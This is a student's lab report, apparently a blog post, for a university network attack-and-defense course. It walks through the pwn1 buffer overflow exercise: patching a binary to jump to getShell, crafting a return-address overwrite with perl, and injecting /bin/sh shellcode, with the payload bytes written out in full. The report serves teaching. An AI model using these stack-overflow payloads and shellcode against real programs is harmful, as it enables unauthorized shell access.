20232413邓昊 2025-2026-1 《网络与系统攻防技术》实验一实验报告

一.实验目标

1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

3.注入一个自己制作的shellcode并运行这段shellcode。

二.实验知识点

1.熟悉Linux基本操作

2.能看懂常用指令,如管道(|),输入、输出重定向(>)等。

3.理解Bof的原理。

4.能看得懂汇编、机器指令、EIP、指令地址。

5.会使用gdb,vi。

三.实验步骤

(一)修改程序机器指令,该变终端名

image

 将pwn1文件下载至kali并改名为pwn20232413,反汇编文件

ba54d7f0fc4078c7a477d8abdc223cc6

 在终端输入vi pwn20232413,结果为乱码

点击esc,输入:%!xxd进入十六进制编辑模式,将e8 d7更改为e8 c3

a55b17d248108e7dbf73995c069510e4

 :%!xxd -r转回原来的格式并保存

fc25ce3fd58ffef13211fc59442dc012

 修改成功

输入./pwn20232413显示运行结果

image

 

(二)BOF攻击,改变程序执行流

安装gdb

使用命令sudo apt update和sudo apt install gdb命令安装gdb,完成后输入gdb,查看是否安装成功

d1dfc42093002cdef0fcbe6f0891971a

 复制pwn1,命名为pwn20232413_2

在 gdb 调试 pwn20232413_2程序的过程中,输入字符串 “1111111122222222333333334444444412345678” 后,使用 info r 命令查看寄存器 eip 的值,结果显示输入的 “1234”(对应十六进制 0x34333231)已覆盖堆栈上的返回地址。因此,只需将这四个字符替换为 getShell 函数的内存地址,就能让程序执行 getShell 函数。

302a96a13cee67d588aa215616c2bb33

 

0bcc93114746deeb8639ab093998fcab

 为了将1234替换为getShell的地址0x0804847d,我们通过以下命令生成一个包含这些十六进制内容的文件:
perl-e'print"11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
生成文件后,使用十六进制查看工具查看文件内容,命令为:
xxd input
使用以下命令将input文件中的字符串作为可执行文件的输入:
(cat input;cat) | ./pwn20232413_2
输入字符串将传递给pwn20232413_2,实现对程序的控制。

b5e1b73d089cc98bd9795486a7a0a1aa

 成功调用getShell函数

(三)注入Shellcode

1.准备execstack

bdfdf6d1f13be12fe57904f3c29477b8

 2.构筑payload

输入命令构筑shellcode的输入

perl -e'print"\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

输入以下命令将input_shellcode的输入内容作为pwn20232413_3的输入:
(cat input_shellcode; cat) | ./pwn20232413_3

25ee26b6c52d8bb0a77cbf797c452631

 3.新开终端,输入以下命令查看pwn20232413_3文件的进程及进程号:
ps -ef | grep pwn20232413_3

e170d70acf3963affaa6135c2c54d73f

 4.设置断点,查看注入内存

5.确认RET的覆盖跳转

6.shellcode执行结果

1d18d3cf147014667d1c1c02f45c1c1d

 

image

 

四.实验中遇到的困难与解决办法

困难:

安装gdb时,由于缺失公钥,无法验证签名,导致安装失败。

解决办法:

通过命令强制删除旧密钥,通过官方源重新导入密钥,修复密钥换文件权限,以下为使用到的命令

 1. 下载 Kali 官方密钥文件(archive-key.asc)
wget -O /tmp/kali-archive-key.asc https://archive.kali.org/archive-key.asc

 2. 验证密钥文件完整性
gpg --verify /tmp/kali-archive-key.asc
正常输出应包含「Good signature from "Kali Linux Repository <devel@kali.org>"」

 3. 将密钥导入 APT 密钥环
sudo apt-key add /tmp/kali-archive-key.asc

4. 同时将密钥添加到「signed-by」指定的密钥文件(匹配 sources.list 配置)
sudo gpg --dearmor /tmp/kali-archive-key.asc -o /usr/share/keyrings/kali-archive-keyring.gpg
5.给密钥文件设置正确的权限(所有人可读,所有者可写)
sudo chmod 644 /usr/share/keyrings/kali-archive-keyring.gpg

ls -l /usr/share/keyrings/kali-archive-keyring.gpg
# 正常输出应类似:-rw-r--r-- 1 root root ...
五.实验心得
本次实验不仅让我掌握了缓冲区溢出漏洞的调试与利用方法,更培养了 “从程序底层逻辑分析问题” 的思维习惯。通过 GDB 工具的实操、栈帧结构的分析、payload 的构造与验证,我对 “程序执行流控制” 这一核心概念有了从抽象到具体的认知。未来,我将以本次实验为基础,进一步学习更复杂的漏洞类型与利用技术,不断提升自身的网络安全实践能力。
 
posted @ 2025-10-13 16:08  邓昊  阅读(10)  评论(0)    收藏  举报